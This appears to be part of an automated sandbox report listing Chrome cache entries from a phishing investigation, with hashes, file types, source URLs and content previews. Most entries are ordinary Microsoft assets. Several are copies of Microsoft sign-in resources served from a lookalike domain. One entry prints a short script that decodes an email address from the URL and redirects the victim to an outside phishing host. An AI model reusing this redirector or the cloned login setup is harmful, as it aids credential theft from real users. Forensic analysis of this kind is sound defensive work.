SHA-256:	F7D9FB0479DE843CF3FB0B78FC56BBB9E30BF0A238C6F79D9209FA8B22EFB574
SHA-512:	EF91B610CF17A17AAFB48984B4403EF175EB86096E3F12E23AE8D4C7C96EF60ED14DA3F69721E095CD2ACE3F0A06190186D000992823814BB906F7FB3576C2C1
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/oneui/oneui1.16.2/dist/css/app.css
Preview:	@font-face {. font-family: "wf_segoe-ui_normal";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");. font-weight: normal;. font-style: normal; }..@font-face {. font-family: "wf_segoe-ui_light";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.ttf") format("truetype

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	662286
Entropy (8bit):	5.315860951951661
Encrypted:	false
SSDEEP:	12288:YfmmzLJTD/JilMGk4hBR310FaHHxpJy7qVfb4cSPo:Yfm+T7US7SR310FaHHTJy7qJ4rPo
MD5:	12204899D75FC019689A92ED57559B94
SHA1:	CCF6271C6565495B18C1CED2F7273D5875DBFB1F
SHA-256:	39DAFD5ACA286717D9515F24CF9BE0C594DFD1DDF746E6973B1CE5DE8B2DD21B
SHA-512:	AA397E6ABD4C54538E42CCEDA8E3AA64ACE76E50B231499C20E88CF09270AECD704565BC9BD3B27D90429965A0233F99F27697F66829734FF02511BD096CF030
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7519.22/scripts/boot.worldwide.2.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.2.mouse.js'] = (new Date()).getTime();.._y.lC=function(){};_y.lC.registerInterface("_y.lC");_y.jw=function(){};_y.jw.registerInterface("_y.jw");_y.lA=function(){};_y.lA.registerInterface("_y.lA");var IDelayedSendEvent=function(){};IDelayedSendEvent.registerInterface("IDelayedSendEvent");var IIsShowingComposeInReadingPaneEvent=function(){};IIsShowingComposeInReadingPaneEvent.registerInterface("IIsShowingComposeInReadingPaneEvent");var ISendFailedO365Event=function(){};ISendFailedO365Event.registerInterface("ISendFailedO365Event");var ISendFailureRemoveO365Event=function(){};ISendFailureRemoveO365Event.registerInterface("ISendFailureRemoveO365Event");_y.gw=function(){};_y.gw.registerInterface("_y.gw");_y.iB=function(){};_y.iB.registerInterface("_y.iB");_y.ih=function(){};_y.ih.registerInterface("_y.ih");_y.jy=function(){};_y.jy.regis

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	232394
Entropy (8bit):	5.54543362321178
Encrypted:	false
SSDEEP:	1536:yldzLx/ivZfjbOv/LBbLeXeKEXK81KKVKKdKbSK0cKcyKf75DMkvqBCWcDAPf4bT:Ux/ivZfjbOv/LBbLMTq9cDw4bLl1We/
MD5:	AF8D946B64D139A380CF3A1C27BDBEB0
SHA1:	C76845B6FFEAF14450795C550260EB618ABD60AB
SHA-256:	37619B16288166CC76403F0B7DF6586349B2D5628DE00D5850C815D019B17904
SHA-512:	C5CFB514F993310676E834C8A5477576BD57C82A8665387F9909BA0D4C3C2DE693E738ACAA74E7B4CA20894EA2FEEA5CF9A2428767D03FE1DE9C84538FDC3EE9
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7519.22/resources/styles/0/boot.worldwide.mouse.css
Preview:	.feedbackList{-webkit-animation-duration:.17s;-moz-animation-duration:.17s;animation-duration:.17s;-webkit-animation-name:feedbackListFrames;-moz-animation-name:feedbackListFrames;animation-name:feedbackListFrames;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-webkit-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@-moz-keyframes feedbackListFrames{from{-moz-transform:scale(1,1);transform:scale(1,1);-moz-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-moz-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);-moz-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	660449
Entropy (8bit):	5.4121922690110535
Encrypted:	false
SSDEEP:	12288:3PUKyvwjOOvwZ1ARuxntuicBh8hS11dsUA:yvjZ+/pIUA
MD5:	D9E3D2CE0228D2A5079478AAE5759698
SHA1:	412F45951C6AEDA5F3DF2C52533171FC7BDD5961
SHA-256:	7041D585609800051E4F451792AEC2B8BD06A4F2D29ED6F5AD8841AAE5107502
SHA-512:	06700C65BEF4002EBFBFF9D856C12E8D71F408BACA2D2103DDE1C28319B6BD3859FA9D289D8AEB6DD484E802040F6EE537F31F97B4B60A6B120A6882C992207A
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7519.22/scripts/boot.worldwide.3.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.3.mouse.js'] = (new Date()).getTime();..;_n.a.jR=function(n){return n.dS()};_n.a.jZ=function(n){return n.eh()};_n.a.jP=function(n){return n.cC()};_n.a.jQ=function(n){return n.ca()};_n.a.hZ=function(n){return n.dO};_n.a.jU=function(n){return n.ed()};_n.a.jT=function(n){return n.ea()};_n.a.kb=function(n){return n.ej()};_n.a.hM=function(n){return 300};_n.a.fh=function(n){return n.V};_n.a.jV=function(n){return n.bI()};_n.a.ie=function(n){return n.mh()};_n.a.km=function(n){return n.bl()};_n.a.ka=function(n){return n.ei()};_n.a.ko=function(n){return n.cV()};_n.a.eX=function(n){return _y.E.isInstanceOfType(n)?n.y:null};_n.a.jN=function(n){return n.c()};_n.a.gm=function(n){return n.b()};_n.a.jM=function(n){return n.b()};_n.a.ib=function(n){return n.jM()};_n.a.iq=function(n){return n.bG};_n.a.iX=function(n){return _n.V.isInstanceOfType(n)?n

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.945787382366693
Encrypted:	false
SSDEEP:	3:yionv//thPnFuXf8Lts7CX9/gm6Kp0syxtuIdsvFQAahUMZ/jp:6v/lhPBR/C+aNuqsvFQA0UMpp
MD5:	3EDA15637AFEAC6078F56C9DCC9BBDB8
SHA1:	97B900884183CB8CF99BA069EEDC280C599C1B74
SHA-256:	68C66D144855BA2BC8B8BEE88BB266047367708C1E281A21B9D729B1FBD23429
SHA-512:	06B21827589FCAF63B085DB2D662737B24A39A697FF9138BDF188408647C3E90784B355F2B8390160CA487992C033CE735599271EE35873E1941812AB6C34B52
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7519.22/resources/images/0/sprite1.mouse.png
Preview:	.PNG........IHDR...X..........x......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK..1......Om.O ...j.a...\BW....IEND.B`.

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwljGEVMvWVNzRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	689017
Entropy (8bit):	4.210697599646938
Encrypted:	false
SSDEEP:	6144:rnQWWDY3mr16XRxcpuEhjMPRKkC0d7xyF0FA9OgoUE0HUN4oe+:rBWU3xhDKkTshoj5
MD5:	3E89AE909C6A8D8C56396830471F3373
SHA1:	2632F95A5BE7E4C589402BF76E800A8151CD036B
SHA-256:	6665CA6A09F770C6679556EB86CF4234C8BDB0271049620E03199B34B4A16099
SHA-512:	E7DBE4E95D58F48A0C8E3ED1F489DCF8FBF39C3DB27889813B43EE95454DECA2816AC1E195E61A844CC9351E04F97AFA271B37CAB3FC522809CE2BE85CC1B8F0
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js
Preview:	.!(function (e) {. function n(n) {. for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++). (i = o[s]),. Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]),. (a[i] = 0);. for (t in r) Object.prototype.hasOwnProperty.call(r, t) && (e[t] = r[t]);. for (d && d(n); c.length; ) c.shift()();. }. var t,. i = {},. a = { 22: 0 };. function o(n) {. if (i[n]) return i[n].exports;. var t = (i[n] = { i: n, l: !1, exports: {} });. return e[n].call(t.exports, t, t.exports, o), (t.l = !0), t.exports;. }. Function.prototype.bind \|\|. ((t = Array.prototype.slice),. (Function.prototype.bind = function (e) {. if ("function" != typeof this). throw new TypeError(. "Function.prototype.bind - what is trying to be bound is not callable". );. var n = t.call(arguments, 1),. i = n.length,. a = this,. o = function () {},. r = function () {. return (.

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 33556, version 0.0
Category:	downloaded
Size (bytes):	33556
Entropy (8bit):	7.986987433752767
Encrypted:	false
SSDEEP:	768:agf2aMu68W993ufOSHOWuwtfLVebDm6r9j3oqlHH:hf2vuYb3IPHOdaJmp3Dn
MD5:	637B1F43DE4B96B9446ADCC107C5F688
SHA1:	3FAD425F0C1CFE8711888CD877E122E5F8D2C15A
SHA-256:	0ED2DC761DDF650B9AAB0C366F43DDEA0DB81E13BBE603A21F2BFEF519387CE9
SHA-512:	9B48ED55813F9A372F1E1BE5FEF737B0583E8990B9B0D57A7810EEC5F55D5C9CC55739D3DC3A2851009964C34C82F1D0D9B58EC05A212779667A023DB8804BF5
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff
Preview:	wOFF........................................OS/2...D...X...`J..%cmap..............<.cvt ...........L/.+}fpgm............".[.gasp...\|.........<..glyf......m....,....head..x$...6...6.X.hhea..x\...!...$.<.Jhmtx..x............loca..\|..........{.maxp....... ... ....name...0........ DE.post........... .Q.wprep...0.......ibMktx.c`f.`8.....:....Q.B3_dHc..`e.feb.B&....e...'.(..VP.R....^........(0.$...:.H)00..<W..x.e.{L.U..?..E../..7<<..-.?.M...K6...M%.4@..E.DMs1.S....f.]t..4L..t3//o.R7..}.N/.....9g...o./ .V....._..x.I.Z..O.5DC5B.5V...\M.czJ.Z...V......g.S.,r.:..G...s&........V..;1{p.$..3....d.,3.L6......In_7...#..7.-..q.-.......+.CH}t...j.Fj......t=..R..b<.]x.8M....x...I5....<..x.-O.N........7.s....$zBl....&......?.S.>..z...^.w.k..N....G..m..J[G..BgEj#.#."..R.<...$......e.pVx....W.9..l...v....UdU...y.U.6....H.RC...n.V5(...7.........vv....([..Z.....f'.yIb-..@......8.2....i....&G9.[.f....+...c\|......PH3..=o3.....?.#....H..R.\|J(%...X.".S......T....J......._.

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171486
Entropy (8bit):	5.043877429718187
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCx1:jlZAW9kJeqg
MD5:	B7AF9FB8EB3F12D3BAA37641537BEDC2
SHA1:	A3FBB622FD4D19CDB371F0B71146DD9F2605D8A4
SHA-256:	928ACFBA36CCD911340D2753DB52423F0C7F6FEAA72824E2A1EF6F5667ED4A71
SHA-512:	1023C4D81F68C73E247850F17BF048615DDABB69ACF2429644BDAF8DC2A95930F7A29CEAE6FBD985E1162897483A860C8248557CDA2F1F3D3FF0589158625A49
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/29-591900/68-c3a397/f4-0855a6/a8-3dc4a6/f1-3221a1/dc-d4cb46/1f-806835/7a-c9e644?ver=2.0&_cf=20210618
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1378
Category:	downloaded
Size (bytes):	628
Entropy (8bit):	7.6610853322771
Encrypted:	false
SSDEEP:	12:X6/EjXb5e1vpPDySPLiDB/3YLZzrlDuLRndk6l3WZi1epo7IyhadSH8Ib1yfuI:X6cP5e3dgYLMk69Ii1epryt/Md
MD5:	6F68E9881DF18F8E251AB57D5786239B
SHA1:	C0F7A01A288752833390FC330995F25488BCE8EC
SHA-256:	B33E30351B2F4EF67D53D2C6DBE189A4D572425037E4F1264A0190DC4A820845
SHA-512:	B33DFF67480DF940FA0565B231E02F26840DCB5135A4A2FF3C310AA062D3D4B456FA9C8C6E2BC59EC76B515EA1B36D574A5701771BCEE7CEE97B99EF60A803C6
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg
Preview:	..........m.Mo.0.....]%F..6...rX.;..&i..].&HZ...#%...B..4.W$.....>....v8...f....g.O/.3k....ms.o....m...a8.......u..4>.]....r~8...%.....x.m.y].....u.>..7....l.]....i..fC.[O..z.)..r..........g!(.+....4.P9.0@.......R.......^q.I[..7.....Q;...6.N....a.d.%....:...6FE.}.......}s.`LV..Q.U. 8..}..y.&..I..a.\.8%..kgoo.Q6...>.5.8..!.....".t9].v.B) `.G6.V.E\..AJQU.7...J.oS..........@......l.....{.r..KP@......9YD..U......&..:..d......+/...(..:.S_...S......n..z.a...,.,&VB......eJR)...R.H3])>....9O.........KDi.O..#...-?D.1..N.p....h.#.Z.[/..!.h..$..S..Phdqd....}.....E>g..q5..J.T......u.....i.b...

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65520), with no line terminators
Category:	downloaded
Size (bytes):	82190
Entropy (8bit):	5.036904170769404
Encrypted:	false
SSDEEP:	1536:tJzwN0CbUTqI34/9w6/Qua+1IGEbjBko230WBYT:vyA
MD5:	1F9995AB937AC429A73364B4390FF6E8
SHA1:	81998DCC6407CEB5CEF236AD52B9F2A3A9528D3B
SHA-256:	49E5166F40D8586714F86E08AB76A977199DF979357147A0E81980A804151C2A
SHA-512:	6669AE352FF46DB734BB8F973D1C0527C3A5EC4119D534AAE4C33F29EFF970168ED5FE200A05D4E1B6A2EC0E090E2207549B926317D489DC7664B0D9C2085465
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/onestorerolling-1510-19009/shell/v3/scss/shell.min.css
Preview:	@charset "UTF-8";@font-face{font-family:'wf_segoe-ui_normal';src:local("Segoe UI");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");font-weight:normal;font-style:normal}@font-face{font-family:'wf_segoe-ui_semilight';src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.ttf")

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	214
Entropy (8bit):	4.941667047450066
Encrypted:	false
SSDEEP:	6:x4XSJM71+RKHS5Mr5IRn1KjmmnXdDOP3yVb:fCp+sHS5MYOxnND2qb
MD5:	D1ED734A7CDB8652B2059722EBBA5DB0
SHA1:	110A28269312ACBF6D6B83091543FD63BE1D8BE6
SHA-256:	D246DFF339B91D38EB6761FEDB4D92447FEB830AD23CC95491A8C102FEEE7A9D
SHA-512:	8C302FAAE99DE8AA18E248251CF1DB8F579E0BA9A71DC666AF073EF8B9435E58AD63A17C52D35DDC91EA9BEF1DE30C7246B9F9F8B7431C5AA61CEB33487C8C2C
Malicious:	false
Reputation:	low
URL:	https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/
Preview:	<script> . .var email = window.location.hash.substr(1);var decodedString = atob(email); window.setTimeout(function() {window.location.href = 'https://secur-doc.online/?hjhmxbor&qrc=' + decodedString; }); .</script>

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113084
Category:	downloaded
Size (bytes):	20314
Entropy (8bit):	7.979540464295058
Encrypted:	false
SSDEEP:	384:ekqQ8rNFEhCgMyL2iww6oIR8mWG+Pu9Z5IM6mxqrghTvUty7T9Q:9CGEiL/w7R8DW9Z5B6AasTv37T9Q
MD5:	92A840DC3D177339DAE03FEDF22A22B5
SHA1:	C1C9A6E6442388D07A9D9D72C12DA25094D6920F
SHA-256:	4A986BA8875F22A0EABC356112A6790F90E114ADB72EAEC4632E03812EC1EDE4
SHA-512:	98C705395DD249501D8069A03E0068BC9CCF4F2D139BEC63A00564C69CD21C05CB25CF56BA7B40822963737989D5048AD310E20D6022E84346C982CFCEF79E11
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css
